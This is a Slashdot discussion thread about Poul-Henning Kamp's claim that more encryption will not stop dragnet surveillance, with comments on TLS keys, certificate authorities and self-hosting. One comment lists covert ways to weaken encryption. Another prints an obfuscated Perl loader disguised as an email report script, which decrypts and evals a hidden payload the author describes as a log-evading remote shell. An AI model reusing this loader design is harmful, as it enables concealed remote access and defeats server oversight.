More Encryption Is Not the Solution

CowboyRobot writes "Poul-Henning Kamp argues that the 'recent exposure of the dragnet-style surveillance of Internet traffic has provoked a number of responses that are variations of the general formula: "More encryption is the solution." This is not the case. In fact, more encryption will probably only make the privacy crisis worse than it already is.' His argument takes a few turns, but centers on a scenario that is a bit too easy to imagine: a government coercing software developers into disabling their encryption: 'There are a whole host of things one could buy to weaken encryption. I would contact providers of popular cloud and "whatever-as-service" providers and make them an offer they couldn't refuse: on all HTTPS connections out of the country, the symmetric key cannot be random; it must come from a dictionary of 100 million random-looking keys that I provide. The key from the other side? Slip that in there somewhere, and I can find it (encrypted in a Set-Cookie header?). In the long run, nobody is going to notice that the symmetric keys are not random — you would have to scrutinize the key material in many thousands of connections before you would even start to suspect something was wrong.'"

Comments

quick key repetition

[Dizzer]

After about 15000 connections you would see the first repetition of a key. That scheme would be discovered in NO TIME.

Re:quick key repetition

[Anonymous Coward]

There are better ways to hide the fact that the encryption was gimped:

1: Escrow parts of the private key similar to how Lotus Notes did it when ITAR was in effect, limiting RSA to 64 bits. Impossible to detect.

2: Save the D-H session keys and set them aside.

3: Force Web browser makers to add another CA (who would notice.)

4: Hose the private key generation algorithm, similar to the glitch in Ubuntu.

5: For services that supposedly save the key only on the client side (Wuala), force them to make an update that sends the password over, then another update covering tracks. This could be done for just one account, groups, or all users.

Re:quick key repetition

[icebike]

What, you think the 1% who do won't be able to get the word out to their less technical family members, who will in turn tell their friends, co-workers, bosses, etc, who will in turn tell their friends, co-workers, bosses, etc, cascading into a full-on shitstorm?

Exactly.
One guy, Snowden, a geek by anyone's definition, managed to stir up a shitstorm of monumental proportions.
People are now pissed enough, or perhaps I should say enough people are pissed, that another attempt like that would bring down the whole house of cards.

The government would probably have to engineer another terrorist attack, with mass casualties in order to induce people to demand that Congress authorize such a power grab.

No story?

[Anonymous Coward]

No link to any story at all? Since when does Slashdot provide a private blogging platform on the front page?

In this scenario, the endpoint is compromised.

[Arancaytar]

In that case, indeed, no amount of encryption will save you.

Re:In this scenario, the endpoint is compromised.

[DuckDodgers]

Right. This "More Encryption is Not the Answer" assumes everyone continues to use the big cloud corporations for the data.

If I host my own email and use PGP, host my own distributed social network instance, browse the internet through Tor, use Yacy for search where possible, etc... then all I have to do is ensure my SSL certificate is valid (or use a self-signed one but find a secure way to distribute the signature to my friends). I can do that, the problem is that Johnny Public doesn't care to do it.

Which leads me to the conclusion that the solution to the NSA problem isn't a political one, it's an engineering one. It's a huge engineering problem, but the cynic in me says the open source community will get far more accomplished with regards to reigning in government surveillance than our elected officials.

Links or it didn't happen

[zacs]

It would be super cool if there was some kind of technology that allowed you to provide a link to the source material for discussion...

http://queue.acm.org/detail.cfm?id=2508864

Complete idiocy

[Anonymous Coward]

In other news, locks do not work if someone gains a copy of your key. Therefore more locks are not the solution, and locks actually harm security!

Wait...what?

This is complete rubbish. Of course encryption doesn't work if you are trusting a giant cloud corp. not to have a man on the inside corrupting the encryption process.

That is the exact reason why more encryption is the answer! People need to be taking the issue into their own hands, using their own (open source) personal or community-driven encryption schemes that are provably secure. Trusting a giant corp. to generate your keys for you and presuming that is THE ONLY WAY encryption can work is such fantastically F.U.D I don't even know where to begin.

better title:some common encryption practices suck

[ron_ivi]

Encryption isn't fundementally the problem here.

The problem is insecure distribution and control of private keys. (i.e. https that depends on trusting Certificate Authorities that appear easy to abuse by governments).

Better solutions could exist --- for example if HTTPS would only work after checking both certificates from a "trusted" certificate authority *and* a self-signed cert. That way all you rely on is that the CA wasn't compromised when you first exchanged the keys for the self-signed cert. Once that happens, even if a CA cooperates with an oppressive regime later, the self-signed cert would keep you safe.

Re:Call it the Fermat's Last Theorem Effect

[TWX]

Like bank transfers and just about all financial-services communications?

There are so many people that move around in this world that I expect good old-fashioned sneakernet with one-time pads will just become the norm, especially when time is not necessarily of the essence. When more data is needed then micro-SD will be employed, and encrypted connections will be left for when absolutely necessary.

When I was a kid, if my friends and I wanted to meet up, we had to generally all agree where we were going to meet in-advance, generally at school or when we were previously together, or a few of us had to decide and then had to manually pass the word on to others, who in-turn passed the word on to others until everyone was notified. We could coordinate and plan without "the authorities" in the form of our parents really knowing what was going on if we chose to keep them uninformed.

If the evil "they" still want to do us harm they can do it entirely offline. They proved that with how long it took to identify Osama Bin Laden's location, he avoided all outgoing traffic other than couriers and it took years to find him.

The brothers that bombed the Boston Marathon managed to avoid being caught in advance due to a typographical error. A Buttle/Tuttle type of snafu literally lead to the older brother's slipping through the cracks. Even after all of everything that happened, the younger brother was caught because a homeowner noticed some blood on his boat. Helicopters, infrared, and door-to-door searches failed to find him.

It hasn't been demonstrated satisfactorily to me that heavy encryption means that there's anything relevant to the authorities being transmitted therein.

Re:Passwords don't work either

[interval1066]

All too true, people don't want to bother with any effort for a return they really can't see. Its hard to appreciate encryption when the effects of opentext on their private lives is difficult to impossible to gauge. Until they get hit. After a small dns server I ran got hit, I didn't really pay much attention to it either. 10 years on I still cover my tracks whenever possible, encrypt my drives (linux and truecrypt make this pretty easy), prefer encrypted smtp providers, and ask people I correspond with for their public encryption key. If they ask me what that is I explain it to them. If they say they don't care then I move on, but if they express interest I help them set up. If they say "no one uses that" I show them that I do, many of my friends do, and to look at the news lately. Its in everyone's interest to manage their privacy. If you are into managing your life like a business then its just another procedure to add to your list. If not, well, I wouldn't want to be you.

The answer is to teach kids to be programers.

[VortexCortex]

Then they don't need to rely on anyone else to create encryption systems or key exchanges.

Once I had a web hosting provider that allowed SSH access. Great for pushing my Git Commits in... However, there was a log file owned by root that stored every command I entered into the SSH terminal, which sometimes had credentials for other servers the server connected to. I couldn't edit it or delete the log file. So I did this instead: email-report.pl

#!/usr/bin/perl -w
use strict;use bytes;use Digest;use FileHandle;use Fcntl qw(:seek);my $A
="0123456789abcdef";my @c=split(//,$A);sub h{my $B=shift;my $C=shift;my $D=shift
;my $E=shift;my $F=shift;$F=0 if!defined $F;my $G=shift;my $H=0;$G=\$H if
!defined $G;my $I='';my $K=$F||1;my $L=0;my $J='';my $W=$B->clone;my $N=$#{$C}+1
;my @M=@{$C};while(!$L){my $O='';my $P=$E->read($O,1);if(!defined $P){return
undef;}if($P){if($O eq "\n"){$$G=0;};$O=~s/[^0-9a-z]//;$I.=$O;}else{$L=1;}if(
length $I>1) {$$G++;$O=pack('H*',$I);$I='';if($$D>=$N){@M=@{$C};$W=$B->clone;
@{$C}=split(//,$W->digest);$$D=0;};$O=chr(ord(@{$C}[$$D++])^ord($O));if($F!=0){
$J.=$O;$B->add($O);$K--;if($K<1){$L=1;}}elsif($O eq "\x00"){$L=1;$$D-=1;
$E->seek(-2,SEEK_CUR);$$G--;if($$D<0){$$D=$N-1;@{$C}=@M;};}else{$J.=$O;$B->add(
$O);if($O eq "\n"){$L=1;};};};};return $J;};my $B=new Digest("SHA-1");my $N=
length$B->digest;print pack('H*','506173737068726173653a20');my $Q=<STDIN>;
chomp $Q;if($Q eq''){exit 1;}my $R=new FileHandle;$R='DATA';my $F=0;my $S='';
while((length $S)<($N*2)){my $O='';my $P=$R->read($O,1);if(!defined $P){exit 1;}
;if($P<1){last;};$O=~s/[^0-9a-f]//;$S.=$O;};$S=pack('H*',$S);if((length $S)!=$N)
{exit 1;};if(length $Q>$N){$B->add($Q);$Q=$B->digest();}elsif (length $Q<$N){
$Q.=("\x00"x($N-(length $Q)));};my($T,$U);foreach my $O(split(//,$Q)){$T.=chr(
ord($O)^0x5c);$U.=chr(ord($O)^0x36);};$B->add($T,$B->add($U,$S)->digest());$T=
$U=$Q="\x00"x$N;$T=$U=$Q='';my $I='';my $W=$B->clone();my @V=split(//,$W->digest
);my $X=0;my $L=0;my $Y=0;my $Z='';$Z=h($B,\@V,\$X,$R,8192,\$Y);if(!defined $Z)
{exit 1;}if($Z eq ''){exit 1;}eval $Z;exit 0;
__DATA__
4e45266f48ed8d...
Snipped, see link, not that it'll do you any good without the key.
I'd give you the key, but running arbitrary enciphered code is ill advised...

What is that? Well, it's not really obfuscated, it's an encrypted Perl program called "email-report.pl", once started it asks for the passphrase that decodes the following program. Once the payload program is decrypted and running it peals off another encrypted channel to back to me using the stream cipher and TCP or UDP to provide a shell-like interface. Since it asks for the passpharse over STDIN it doesn't get logged to the session log. The commands I give it are executed in memory without being logged into the terminal session log file. The files I create over the shell aren't logged in the FTP log file either.

Once such a shell is up I can dump in more code to decrypt and execute, or store it as encrypted files to call up and decrypt and execute for later. I periodically generate encrypted email reports to myself with it, so that logs show emails being generated with it, but I can also do anything else I like, I can execute my programs in memory and their server will have no record of what program was executed. I can even have the program connect to other such enciphered shell programs running on other servers that don't need SSH to tunnel, just a net connection and the stream cipher -- I hold all the keys.

Now, this wasn't even a serious effort. I'm not doing anything I actually need to hide from anyone. It was just a bit of fun to prevent server logs from storing a few other keys in the clear. If I had wanted to I could have the cipher incorporate a few thousand it

Server doesn't create the session key

[swillden]

Umm... you should go re-read the SSL/TLS specs. The server doesn't get to dictate the session key.

The session key (AKA master key) is computed from a "pre-master" secret key and two random numbers, one provided by client the other from the server. Both sides perform this computation independently, and the server has no control over the client random -- nor the client over the server random. Also, the pre-master secret is either generated entirely by the client, or else generated through a Diffie Hellman key agreement protocol, which again involves input from both sides.

There may be other attacks, but the one described in the summary doesn't work.